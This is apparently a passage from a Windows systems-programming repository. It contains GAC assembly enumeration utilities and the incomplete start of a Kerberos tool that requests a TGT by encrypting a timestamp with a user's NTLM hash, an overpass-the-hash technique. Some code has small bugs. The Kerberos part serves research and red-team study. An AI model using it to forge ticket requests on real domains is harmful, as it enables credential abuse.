Int16 i16Version = Convert.ToInt16(args[1]); // Find the System.Management.Automation Assembly GACUtil gac = new GACUtil(); ASSEMBLY_IDENTITY AssemblyIdentity = new ASSEMBLY_IDENTITY(); gac.FindAssembly(szAssemblyName, i16Version, ref AssemblyIdentity); Console.WriteLine($"Assembly path: \n{AssemblyIdentity.szGacPath}\n"); // Load the assembly into new application domain AppDomain domain = AppDomain.CreateDomain("C367F796-8B63-461D-A058-2CCD657F1891"); Assembly assembly = domain.Load(AssemblyName.GetAssemblyName(AssemblyIdentity.szGacPath)); // List all types if (assembly != null) { Console.WriteLine("Exported Types:"); foreach (Type t in assembly.GetExportedTypes()) Console.WriteLine($"\t {t.Name}"); AppDomain.Unload(domain); } else { Console.WriteLine("Assembly not loaded!"); } #if DEBUG Console.ReadKey(); #endif } } } ================================================ FILE: Fusion/FindAssembly/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("ListAssemblies")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ListAssemblies")] [assembly: AssemblyCopyright("Copyright © 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("3b49b239-4005-4f25-9e39-522c61b980be")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: Fusion/FindAssembly/Win32/Functions.cs ================================================ using System; using FindAssembly.Fusion; using System.Runtime.InteropServices; namespace FindAssembly.Win32 { internal class Functions { [DllImport("fusion.dll", CharSet = CharSet.Auto)] [PreserveSig] public static extern uint CreateAssemblyEnum( out IAssemblyEnum ppEnum, IntPtr pUnkReserved, IAssemblyName pName, ASM_CACHE_FLAGS dwFlags, IntPtr pvReserved ); [DllImport("fusion.dll", CharSet = CharSet.Auto)] [PreserveSig] public static extern uint CreateAssemblyCache( out IAssemblyCache ppAsmCache, uint dwReserved ); } } ================================================ FILE: Fusion/FindAssembly/Win32/Macros.cs ================================================  namespace FindAssembly.Win32 { public static class Macros { public static bool SUCCEEDED(uint hr) => hr >= S_OK; public static uint S_OK = 0x00000000; public static uint E_FAIL = 0x80004005; } } ================================================ FILE: Fusion/FindAssembly/app.config ================================================ ================================================ FILE: Fusion/ListAssemblies/gacutil.h ================================================ /** * @file gacutil.h * @data 06-09-2020 * @author Paul Laîné (@am0nsec) * @version 1.0 * @brief Global Assembly Cache Utilities. * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #ifndef _GACUTIL_H #define _GACUTIL_H //------------------------------------------------------------------------------------------------- // Macro //------------------------------------------------------------------------------------------------- #ifdef _WIN64 #define FUSION_MODULE_PATH L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" #else #define FUSION_MODULE_PATH L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\fusion.dll" #endif // !_WIN64 //------------------------------------------------------------------------------------------------- // Type definition //------------------------------------------------------------------------------------------------- typedef struct _ASSEMBLY_VERSION { WORD dwMajor; WORD dwMinor; WORD dwBuild; WORD dwRevision; } ASSEMBLY_VERSION, * PASSEMBLY_VERSION; typedef IAssemblyEnum* PIAssemblyEnum; typedef PIAssemblyEnum* PPIAssemblyEnum; typedef IAssemblyCache* PIAssemblyCache; typedef PIAssemblyCache* PPIAssemblyCache; typedef IAssemblyName* PIAssemblyName; typedef PIAssemblyName* PPIAssemblyName; //------------------------------------------------------------------------------------------------- // Fusion function prototype //------------------------------------------------------------------------------------------------- typedef HRESULT(WINAPI* CreateAssemblyEnumFunc)( _Out_ PPIAssemblyEnum pEnum, _In_ IUnknown* pUnkReserved, _In_ PIAssemblyName pName, _In_ DWORD dwFlags, _In_ LPVOID pvReserved ); typedef HRESULT(WINAPI* CreateAssemblyCacheFunc)( _Out_ IAssemblyCache** ppAsmCache, _In_ DWORD dwReserved ); //------------------------------------------------------------------------------------------------- // Function prototype //------------------------------------------------------------------------------------------------- HRESULT ParseAllAssemblies( _In_ PPIAssemblyEnum ppIAssemblyEnum, _In_ PPIAssemblyCache ppIAssemblyCache ); HRESULT GetAssemblyName( _In_ PPIAssemblyName ppIAssemblyName, _Out_ LPWSTR* pwszAssemblyName ); HRESULT GetAssemblyGACPath( _In_ PPIAssemblyCache ppIAssemblyCache, _In_ LPWSTR* pwszAssemblyName, _Out_ LPWSTR* pwszAssemblyGacPath ); HRESULT GetAssemblyVersion( _In_ PPIAssemblyName ppIAssemblyName, _Out_ PASSEMBLY_VERSION pAssemblyVersion ); #endif // !_GACUTIL_H ================================================ FILE: Fusion/ListAssemblies/main.c ================================================ /** * @file main.c * @data 06-09-2020 * @author Paul Laîné (@am0nsec) * @version 1.0 * @brief List Assemblies from the Global Assembly Cache (GAC). * @details * @link https://github.com/am0nsec/wspe * @copyright This project has been released under the GNU Public License v3 license. */ #include #include #include #include "gacutil.h" /** * @brief Global HANDLE for Heap allocation/deallocation. */ static HANDLE g_hProcessHeap = INVALID_HANDLE_VALUE; /** * @brief Entry point. * @param argc Number of arguments. * @param argv List of arguments. * @return Application exit code. */ INT wmain(INT argc, PWCHAR* argv[]) { wprintf(L"\nList .NET Framework Assemblies from the Global Assembly Cache (GAC).\n"); wprintf(L"Copyright (C) 2020 Paul Laine (@am0nsec)\n"); wprintf(L"https://ntamonsec.blogpost.com\n\n"); HMODULE hFusionModule = LoadLibraryW(FUSION_MODULE_PATH); if (hFusionModule == NULL) { wprintf(L"[-] Unable to load fusion.dll.\n\n"); return 0x01; } wprintf(L"[+] Module loaded: fusion.dll.\n"); // Get CreateAssemblyEnum function CreateAssemblyEnumFunc pCreateAssemblyEnumFunc = (CreateAssemblyEnumFunc)GetProcAddress(hFusionModule, "CreateAssemblyEnum"); if (pCreateAssemblyEnumFunc == NULL) { wprintf(L"[-] Unable to find CreateAssemblyEnum function address.\n\n"); return 0x01; } wprintf(L"[+] Function found: CreateAssemblyEnum.\n"); // Get CreateAssemblyCache function CreateAssemblyCacheFunc pCreateAssemblyCacheFunc = (CreateAssemblyCacheFunc)GetProcAddress(hFusionModule, "CreateAssemblyCache"); if (pCreateAssemblyEnumFunc == NULL) { wprintf(L"[-] Unable to find CreateAssemblyCache function address.\n\n"); return 0x01; } wprintf(L"[+] Function found: CreateAssemblyCache.\n"); // Get assembly enum interface IAssemblyEnum* pIAssemblyEnum = NULL; pCreateAssemblyEnumFunc(&pIAssemblyEnum, 0, NULL, ASM_CACHE_GAC, NULL); if (pIAssemblyEnum == NULL) { wprintf(L"[-] Unable to create fusion!IAssemblyEnum interface.\n\n"); return 0x01; } wprintf(L"[+] Interface successfully created: fusion!IAssemblyEnum.\n"); // Get assembly cache IAssemblyCache* pIAssemblyCache = NULL; pCreateAssemblyCacheFunc(&pIAssemblyCache, 0); if (pIAssemblyCache == NULL) { wprintf(L"[-] Unable to create fusion!IAssemblyCache interface.\n\n"); return 0x01; } wprintf(L"[+] Interface successfully created: fusion!IAssemblyCache.\n\n"); // Parse all Assemblies ParseAllAssemblies(&pIAssemblyEnum, &pIAssemblyCache); pIAssemblyCache->lpVtbl->Release(pIAssemblyCache); pIAssemblyEnum->lpVtbl->Release(pIAssemblyEnum); return 0x00; } /** * @brief Parse all Assemblies from the Global Assembly Cache (GAC) * @param ppIAssemblyEnum Pointer to an IAssemblyEnum interface. * @param ppIAssemblyCache Pointer to an IAssemblyCache interface. * @return Whether the function successfully executed. */ HRESULT ParseAllAssemblies(PPIAssemblyEnum ppIAssemblyEnum, PPIAssemblyCache ppIAssemblyCache) { IAssemblyEnum* pEnum = *ppIAssemblyEnum; IAssemblyCache* pCache = *ppIAssemblyCache; if (pEnum == NULL || pCache == NULL) return E_FAIL; HRESULT hr = S_OK; g_hProcessHeap = GetProcessHeap(); while (TRUE) { IAssemblyName* pIAssemblyName = NULL; hr = pEnum->lpVtbl->GetNextAssembly(pEnum, NULL, &pIAssemblyName, 0); if (!SUCCEEDED(hr) || pIAssemblyName == NULL) break; // Get name LPWSTR wszAssemblyName = NULL; hr = GetAssemblyName(&pIAssemblyName, &wszAssemblyName); // Get assembly path in GAC LPWSTR wszAssemblyGacPath = NULL; hr = GetAssemblyGACPath(&pCache, &wszAssemblyName, &wszAssemblyGacPath); // Get assembly version ASSEMBLY_VERSION AssemblyVersion = { 0 }; hr = GetAssemblyVersion(&pIAssemblyName, &AssemblyVersion); // Display information wprintf(L"Name: %ws\n", wszAssemblyName); wprintf(L"Path: %ws\n", wszAssemblyGacPath); wprintf(L"Version: %d.%d.%d.%d\n\n", AssemblyVersion.dwMajor, AssemblyVersion.dwMinor, AssemblyVersion.dwBuild, AssemblyVersion.dwRevision); // Release memory if (wszAssemblyName != NULL) HeapFree(g_hProcessHeap, 0, wszAssemblyName); if (wszAssemblyGacPath != NULL) HeapFree(g_hProcessHeap, 0, wszAssemblyGacPath); // Release interface pIAssemblyName->lpVtbl->Finalize(pIAssemblyName); pIAssemblyName->lpVtbl->Release(pIAssemblyName); pIAssemblyName = NULL; } pEnum = NULL; pCache = NULL; return S_OK; } /** * @brief Get the name of an Assembly. * @param ppIAssemblyName Pointer to an IAssemblyName interface. * @param pwszAssemblyName Pointer to the name of the Assembly. * @return Whether the function successfully executed. */ HRESULT GetAssemblyName(PPIAssemblyName ppIAssemblyName, LPWSTR* pwszAssemblyName) { PIAssemblyName pInterface = *ppIAssemblyName; if (pInterface == NULL || *pwszAssemblyName != NULL) return E_FAIL; // Get buffer size DWORD dwBufferSize = 0; HRESULT hr = pInterface->lpVtbl->GetName(pInterface, &dwBufferSize, 0); if (dwBufferSize == 0) { pInterface = NULL; return E_FAIL; } // Get name *pwszAssemblyName = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, dwBufferSize * sizeof(WCHAR)); hr = pInterface->lpVtbl->GetName(pInterface, &dwBufferSize, *pwszAssemblyName); if (!SUCCEEDED(hr) || *pwszAssemblyName == NULL) { HeapFree(g_hProcessHeap, 0, *pwszAssemblyName); pInterface = NULL; return E_FAIL; } pInterface = NULL; return S_OK; } /** * @brief Get the path of the Assembly in the Global Assembly Cache (GAC). * @param ppIAssemblyCache Pointer to an IAssemblyCache interface. * @param pwszAssemblyName Pointer to the name of the assembly to query information. * @param pwszAssemblyGacPath Pointer to the path of the assembly in the GAC. * @return Whether the function successfully executed. */ HRESULT GetAssemblyGACPath(PPIAssemblyCache ppIAssemblyCache, LPWSTR* pwszAssemblyName, LPWSTR* pwszAssemblyGacPath) { PIAssemblyCache pInterface = *ppIAssemblyCache; if (pInterface == NULL || *pwszAssemblyName == NULL) return E_FAIL; // Get buffer size ASSEMBLY_INFO AssemblyInfo = { 0 }; HRESULT hr = pInterface->lpVtbl->QueryAssemblyInfo(pInterface, QUERYASMINFO_FLAG_GETSIZE, *pwszAssemblyName, &AssemblyInfo); if (AssemblyInfo.cchBuf == 0) { pInterface = NULL; return E_FAIL; } // Get path AssemblyInfo.pszCurrentAssemblyPathBuf = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, AssemblyInfo.cchBuf * sizeof(WCHAR)); hr = pInterface->lpVtbl->QueryAssemblyInfo(pInterface, QUERYASMINFO_FLAG_VALIDATE, *pwszAssemblyName, &AssemblyInfo); if (!SUCCEEDED(hr) || AssemblyInfo.pszCurrentAssemblyPathBuf == NULL) { HeapFree(g_hProcessHeap, 0, AssemblyInfo.pszCurrentAssemblyPathBuf); pInterface = NULL; return E_FAIL; } // Copy data *pwszAssemblyGacPath = (LPWSTR)HeapAlloc(g_hProcessHeap, HEAP_ZERO_MEMORY, AssemblyInfo.cchBuf * sizeof(WCHAR)); RtlCopyMemory(*pwszAssemblyGacPath, AssemblyInfo.pszCurrentAssemblyPathBuf, AssemblyInfo.cchBuf * sizeof(WCHAR)); HeapFree(g_hProcessHeap, 0, AssemblyInfo.pszCurrentAssemblyPathBuf); pInterface = NULL; return S_OK; } /** * @brief Get the version of an Assembly * @param ppIAssemblyName Pointer to an IAssemblyName interface. * @param pAssemblyVersion Pointer to an ASSEMBLY_VERSION structure. * @return Whether the function executed successfully */ HRESULT GetAssemblyVersion(PPIAssemblyName ppIAssemblyName, PASSEMBLY_VERSION pAssemblyVersion) { IAssemblyName* pInterface = *ppIAssemblyName; if (pInterface == NULL || pAssemblyVersion == NULL) return E_FAIL; // Get version DWORD dwHigh = 0; DWORD dwLow = 0; HRESULT hr = pInterface->lpVtbl->GetVersion(pInterface, &dwHigh, &dwLow); if (!SUCCEEDED(hr)) return E_FAIL; pAssemblyVersion->dwMajor = dwHigh >> 0x10; pAssemblyVersion->dwMinor = dwHigh & 0xff; pAssemblyVersion->dwBuild = dwLow >> 0x10; pAssemblyVersion->dwRevision = dwLow & 0xff; pInterface = NULL; return S_OK; } ================================================ FILE: Kerberos/AskTGT/CMakeLists.txt ================================================ # @file CMakeLists.txt # @author Paul L. (@am0nsec) # @version 1.0 # @brief Kerberos request kerberos TGT. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. add_executable(pkasktgt "main.c" "kerberos.c" "socket.c" "kerberos.h" "socket.h" ) set_property(TARGET pkasktgt PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded$<$:Rlease>" ) ================================================ FILE: Kerberos/AskTGT/kerberos.c ================================================ #include #include #include "kerberos.h" /// /// Format system time in "%ld%02ld%02ld%02ld%02ld%02ldZ" format. /// NTSTATUS KerbpFormatTimestamp( _Out_ CHAR** pszBuffer, _In_ CONST DWORD dwBufferSize, _In_ CONST CHAR* Format, _In_ ... ) { va_list ArgumentList; va_start(ArgumentList, Format); INT BytesWritten = _vsnprintf(*pszBuffer, dwBufferSize, Format, ArgumentList); if (BytesWritten < 0x00) { return STATUS_UNSUCCESSFUL; } return STATUS_SUCCESS; } /// /// Get code point. /// INT32 KerbpGetCodePoint( _In_ PBYTE String, _In_ INT32 StringSize, _Inout_ INT32* Offset ) { INT32 c = String[(*Offset)++]; if (c >= 0xD800 && c < 0xDC00 && *Offset < StringSize) { INT32 d = String[*Offset]; if (d >= 0xDC00 && d < 0xE000) { c = ((c & 0x3FF) << 10) + (d & 0x3FF) + 0x10000; (*Offset)++; } } return c; } /// /// UTF8 encoding of a string. /// NTSTATUS KerbpEncodeUTF8( _In_ PBYTE StringIn, _In_ INT32 StringInSize, _Out_ PBYTE* StringOut, _Out_ INT32* StringOutSize ) { // Allocate memory *StringOut = calloc(0x1, (StringInSize * 4) + sizeof(WCHAR)); PBYTE dst = *StringOut; while (*StringOutSize < StringInSize) { INT32 cp = KerbpGetCodePoint(StringIn, StringInSize, StringOutSize); if (cp < 0x80) { *dst++ = (UCHAR)cp; } else if (cp < 0x800) { *dst++ = (UCHAR)(0xC0 + (cp >> 6)); *dst++ = (UCHAR)(0x80 + (cp & 63)); } else if (cp < 0x10000) { *dst++ = (UCHAR)(0xE0 + (cp >> 12)); *dst++ = (UCHAR)(0x80 + ((cp >> 6) & 63)); *dst++ = (UCHAR)(0x80 + (cp & 63)); } else { *dst++ = (UCHAR)(0xF0 + (cp >> 18)); *dst++ = (UCHAR)(0x80 + ((cp >> 12) & 63)); *dst++ = (UCHAR)(0x80 + ((cp >> 6) & 63)); *dst++ = (UCHAR)(0x80 + (cp & 63)); } } return STATUS_SUCCESS; } /// /// Get the length associated with an ASN.1 element tag /// INT32 KerbpGetAsnTagLength( _In_ INT32 Tag ) { if (Tag <= 0x1F) return 1; int cx = 1; while (Tag > 0) { cx++; Tag >>= 7; } return cx; } /// /// Get the lenght of the encoded length. /// INT32 KerbpGetAsnLengthLenght( _In_ INT32 Length ) { if (Length < 0x80) { return 0x01; } INT32 cx = 1; while (Length > 0x00) { cx++; Length >>= 8; } return cx; } /// /// Get the lenght of the object once encoded. /// INT32 KerbpAsnGetEffectiveEncodedLength( _In_ ASN_ELEMENT* pElement ) { if (pElement->ObjectLength < 0x00) { INT32 Result = KerbpAsnGetEffectiveValueLenght(pElement); pElement->ObjectLength = Result + KerbpGetAsnLengthLenght(Result) + KerbpGetAsnTagLength(pElement->TagValue); } return pElement->ObjectLength; } /// /// The lenght of the value held by the element. If constructed object will sum /// the lenght of all the sub-elements. /// INT32 KerbpAsnGetEffectiveValueLenght( _In_ ASN_ELEMENT* pElement ) { if (pElement->ValueLength < 0x00) { // Constructed element. if (pElement->SubElements != 0x00) { INT32 len = 0x00; for (DWORD cx = 0x00; cx < pElement->SubElements; cx++) { len += KerbpAsnGetEffectiveEncodedLength(&(((ASN_ELEMENT*)pElement->Sub)[cx])); } pElement->ValueLength = len; } // Primitif object else { pElement->ValueLength = pElement->ObjectLength; } } return pElement->ValueLength; } /// /// Generate valid ASN.1 primitive element /// NTSTATUS KerbpAsnMakePrimitive( _Inout_ ASN_ELEMENT* pElement, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _In_ CONST PBYTE pBuffer, _In_ CONST INT32 Offset, _In_ CONST INT32 Length ) { if (pElement == NULL) return STATUS_UNSUCCESSFUL; if (TagClass < 0 || TagClass > 3) return STATUS_UNSUCCESSFUL; if (TagValue < 0) return STATUS_UNSUCCESSFUL; RtlZeroMemory(pElement, sizeof(ASN_ELEMENT)); pElement->ObjectLength = -1; pElement->ValueLength = Length; pElement->TagValue = TagValue; pElement->TagClass = TagClass; // Copy buffer pElement->ObjectBuffer = calloc(0x01, Length); RtlCopyMemory(pElement->ObjectBuffer, pBuffer, Length); // Dummy call to update the internal lenght KerbpAsnGetEffectiveEncodedLength(pElement); KerbpAsnGetEffectiveValueLenght(pElement); return STATUS_SUCCESS; } /// /// Generate valid ASN.1 constructed element /// NTSTATUS KerbpAsnMakeConstructed( _Inout_ ASN_ELEMENT* pElement, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _In_ CONST ASN_ELEMENT* pSubElements, _In_ CONST DWORD NumberOfSubElements ) { if (pElement == NULL) return STATUS_UNSUCCESSFUL; if (TagClass < 0 || TagClass > 3) return STATUS_UNSUCCESSFUL; if (TagValue < 0) return STATUS_UNSUCCESSFUL; RtlZeroMemory(pElement, sizeof(ASN_ELEMENT)); pElement->ObjectLength = -1; pElement->ValueLength = -1; pElement->TagValue = TagValue; pElement->TagClass = TagClass; // Allocate memory for the sub-elements if (NumberOfSubElements != 0x00) { pElement->SubElements = NumberOfSubElements; pElement->Sub = calloc(0x01, sizeof(ASN_ELEMENT) * NumberOfSubElements); if (pElement->Sub == NULL) return STATUS_UNSUCCESSFUL; RtlCopyMemory(pElement->Sub, pSubElements, sizeof(ASN_ELEMENT) * NumberOfSubElements); } // Dummy call to update the internal lenght KerbpAsnGetEffectiveEncodedLength(pElement); KerbpAsnGetEffectiveValueLenght(pElement); return STATUS_SUCCESS; } /// /// Change tag from an object /// NTSTATUS KerbpAsnMakeImplicit( _In_ ASN_ELEMENT* pElementIn, _In_ CONST INT8 TagClass, _In_ CONST INT8 TagValue, _Out_ ASN_ELEMENT* pElementOut ) { // Constructed if (pElementIn->SubElements != 0x00) { ASN_ELEMENT Out = { 0x00 }; NTSTATUS Status = STATUS_SUCCESS; Status = KerbpAsnMakeConstructed( &Out, TagClass, TagValue, (ASN_ELEMENT*)pElementIn->Sub, pElementIn->SubElements ); if (NT_SUCCESS(Status)) *pElementOut = Out; return Status; } // Primitif RtlZeroMemory(pElementOut, sizeof(ASN_ELEMENT)); pElementOut->ObjectOffset = 0x00; pElementOut->ObjectLength = -1; pElementOut->TagClass = TagClass; pElementOut->TagValue = TagValue; pElementOut->ObjectBuffer = pElementIn->ObjectBuffer; pElementOut->ValueLength = pElementIn->ValueLength; pElementOut->ValueOffset = pElementIn->ValueOffset; KerbpAsnGetEffectiveEncodedLength(pElementOut); KerbpAsnGetEffectiveValueLenght(pElementOut); return STATUS_SUCCESS; } /// /// Generate valid ASN.1 integer element. /// NTSTATUS KerbpAsnMakeInteger( _Inout_ ASN_ELEMENT* pElement, _In_ LONG Value ) { INT32 k = 1; INT32 l = k; PBYTE v = NULL; if (Value >= 0x00) { for (ULONG w = (ULONG)Value; w >= 0x80; w >>= 8, k++); // Allocate memory v = calloc(1, k); l = k; for (ULONG w = (ULONG)Value; k > 0x00; w >>= 8) v[--k] = (UCHAR)w; } else { for (LONG w = Value; w <= -(LONG)0x80; w >>= 8, k++); // Allocate memory v = calloc(1, k); l = k; for (LONG w = Value; k > 0x00; w >>= 8) v[--k] = (UCHAR)w; } return KerbpAsnMakePrimitive( pElement, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_INTEGER, v, 0x00, l ); } /// /// Encode the value of an ASN.1 element /// INT32 KerbpAnsEncodeValue( _In_ ASN_ELEMENT* pElement, _In_ INT32 Start, _In_ INT32 End, _In_ INT32 RawElementOffset, _Out_ PBYTE pRawElement ) { INT32 Origin = RawElementOffset; if (pElement->ObjectBuffer == NULL) { INT32 k = 0x00; for (DWORD cx = 0x00; cx < pElement->SubElements; cx++) { INT32 slen = KerbpAsnGetEffectiveEncodedLength(&(((ASN_ELEMENT*)pElement->Sub)[cx])); RawElementOffset += KerbpAsnEncode( &(((ASN_ELEMENT*)pElement->Sub)[cx]), Start - k, End - k, RawElementOffset, pRawElement ); k += slen; } } else { INT32 from = max(0x00, Start); INT32 to = min(pElement->ValueLength, End); INT32 Lenght = to - from; if (Lenght > 0x00) { PBYTE src = pElement->ObjectBuffer + from + pElement->ValueOffset; PBYTE dst = pRawElement + RawElementOffset; RtlCopyMemory(dst, src, Lenght); RawElementOffset += Lenght; } } return RawElementOffset - Origin; } /// /// Encode an ASN.1 element. Recursive. /// INT32 KerbpAsnEncode( _In_ ASN_ELEMENT* pElement, _In_ INT32 Start, _In_ INT32 End, _In_ DWORD RawElementOffset, _Out_ PBYTE pRawElement ) { // Local offset int offset = 0x00; // Encode the tag INT32 fb = pElement->TagClass << 6; fb += (pElement->SubElements != 0x00) ? 0x20 : 0x00; if (pElement->TagValue < 0x1F) { fb |= pElement->TagValue & 0x1F; if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)fb; offset++; } else { fb |= 0x1F; if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)fb; offset++; INT32 k = 0x00; for (INT32 v = pElement->TagValue; v > 0x00; v >>= 7, k += 7); while (k > 0x00) { k -= 7; INT32 v = (pElement->TagValue >> k) & 0x7F; if (k != 0x00) v |= 0x80; if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)v; offset++; } } // Encode length INT32 vlen = pElement->ValueLength; if (vlen < 0x80) { if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)vlen; offset++; } else { INT32 k = 0x00; for (INT32 v = vlen; v > 0; v >>= 8, k += 8); if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)(0x80 + (k >> 3)); offset++; while (k > 0) { k -= 8; if (Start <= offset && offset < End) pRawElement[RawElementOffset++] = (UCHAR)(vlen >> k); offset++; } } // Encode the data offset += KerbpAnsEncodeValue( pElement, Start - offset, End - offset, RawElementOffset, pRawElement ); // Get the final size to return. return max(0x00, min(offset, End) - max(0x00, Start)); } /// /// Load the cryptdll module and get the KERBEROS_ECRYPT structure out of /// memory. /// NTSTATUS KerbpEncryptInternal( _In_ INT32 EType, _Out_ KERBEROS_ECRYPT* pECrypt ) { // Get base address of the module HMODULE hCryptDLL = LoadLibraryA("cryptdll.dll"); if (hCryptDLL == NULL) return STATUS_UNSUCCESSFUL; // Get address of the function fnCDLocateCSystem CDLocateCSystem = (fnCDLocateCSystem)GetProcAddress(hCryptDLL, "CDLocateCSystem"); if (CDLocateCSystem == NULL) return STATUS_UNSUCCESSFUL; // Get the structure LPVOID AddressOfStructure = NULL; INT32 Result = CDLocateCSystem(EType, &AddressOfStructure); if (AddressOfStructure == NULL) return STATUS_UNSUCCESSFUL; // Get the structure. RtlCopyMemory(pECrypt, AddressOfStructure, sizeof(KERBEROS_ECRYPT)); return STATUS_SUCCESS; } /// /// Encrypt data /// NTSTATUS KerbpEncrypt( _In_ INT32 EType, _In_ INT32 EncReason, _In_ PBYTE Key, _In_ DWORD KeyLength, _In_ PBYTE BufferIn, _In_ DWORD BufferInSize, _Out_ PBYTE* BufferOut, _Out_ DWORD* BufferOutSize ) { // Load the module to get the address of the structure containing // encryption functions NTSTATUS Status = STATUS_SUCCESS; KERBEROS_ECRYPT ECrypt = { 0x00 }; Status = KerbpEncryptInternal(EType, &ECrypt); if (!NT_SUCCESS(Status) || ECrypt.Initialize == NULL) return Status; // Initialise LPVOID Context = NULL; INT32 Result = ((fnInitialize)ECrypt.Initialize)( Key, KeyLength, EncReason, &Context ); if (Result != 0x00 || Context == NULL) return STATUS_UNSUCCESSFUL; // Get the output size *BufferOutSize = BufferInSize; while ((*BufferOutSize % ECrypt.BlockSize) != 0x00) *BufferOutSize++; *BufferOutSize += ECrypt.Size; // Allocate memory *BufferOut = calloc(0x01, *BufferOutSize); if (*BufferOut == NULL) { ((fnFinish)ECrypt.Finish)(Context); return STATUS_UNSUCCESSFUL; } // Encrypt the data Result = ((fnEncrypt)ECrypt.Encrypt)( Context, BufferIn, BufferInSize, *BufferOut, BufferOutSize ); return STATUS_SUCCESS; } /// /// Generate ASN.1 element for system timestamp. /// NTSTATUS KerbpGenerateTimestamp( _In_ INT32 TagClassValue, _Out_ ASN_ELEMENT* Timestamp ) { // Get the system time SYSTEMTIME SystemTime = { 0x00 }; GetSystemTime(&SystemTime); if (TagClassValue == 0x05) SystemTime.wYear++; // Convert system time in a formated string CHAR* szSystemTime = calloc(0x01, sizeof(SYSTEMTIME) + 2); if (szSystemTime == NULL) return STATUS_UNSUCCESSFUL; // Format the system time stamp NTSTATUS Status = STATUS_SUCCESS; Status = KerbpFormatTimestamp( &szSystemTime, sizeof(SYSTEMTIME) + 2, "%ld%02ld%02ld%02ld%02ld%02ldZ", SystemTime.wYear, SystemTime.wMonth, SystemTime.wDay, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond ); // Make a primitive element for the timestamp ASN_ELEMENT Temp1 = { 0x00 }; Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_GENERALIZED_TIME, szSystemTime, 0x00, 0x0F ); free(szSystemTime); // Make a constructed element with a list of sub-elements ASN_ELEMENT Temp2 = { 0x00 }; ASN_ELEMENT Temp3 = { 0x00 }; Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 1 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, TagClassValue, &Temp3 ); // Encode till if (TagClassValue == 0x05) { *Timestamp = Temp3; return STATUS_SUCCESS; } // Create the final constructed element with the previous data Status = KerbpAsnMakeConstructed( Timestamp, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp3, 1 ); return STATUS_SUCCESS; } /// /// Encrypt the timestamp with user NTLM hash. /// NTSTATUS KerbpEncryptTimestamp( _In_ LPBYTE Key, _In_ DWORD KeySize, _In_ ASN_ELEMENT* Timestamp, _Out_ ENCRYPTED_DATA* EncryptedData, _Out_ DWORD* EncryptedDataSize ) { NTSTATUS Status = STATUS_SUCCESS; // Encode the timestamp PBYTE RawTimestamp = calloc(0x01, Timestamp->ObjectLength + 0x10); INT32 RawTimestampSize = KerbpAsnEncode( Timestamp, 0x00, Timestamp->ObjectLength + 0x10, 0x00, RawTimestamp ); if (Timestamp->Sub) free(Timestamp->Sub); // Encrypt the data Status = KerbpEncrypt( EncryptedData->EType, KERBEROS_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, Key, KeySize, RawTimestamp, RawTimestampSize, &EncryptedData->cipher, EncryptedDataSize ); if (!NT_SUCCESS(Status)) { if (EncryptedData->cipher != NULL) free(EncryptedData->cipher); return STATUS_UNSUCCESSFUL; } // Cleanup and exit free(RawTimestamp); return Status; } /// /// Encode ASN.1 encrypted-data element. /// NTSTATUS KerbpEncodeEncryptedData( _In_ ENCRYPTED_DATA* EncryptedData, _In_ DWORD EncryptedDataSize, _Out_ PBYTE* RawData, _Out_ DWORD* RawDataSize ) { NTSTATUS Status = STATUS_SUCCESS; ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; ASN_ELEMENT Temp3 = { 0x00 }; // etype ASN_ELEMENT EType = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp1, EncryptedData->EType); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x00, &EType ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); // Encode all the data ASN_ELEMENT Cipher = { 0x00 }; Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_OCTET_STRING, EncryptedData->cipher, 0x00, EncryptedDataSize ); Status = KerbpAsnMakeConstructed( &Temp2, 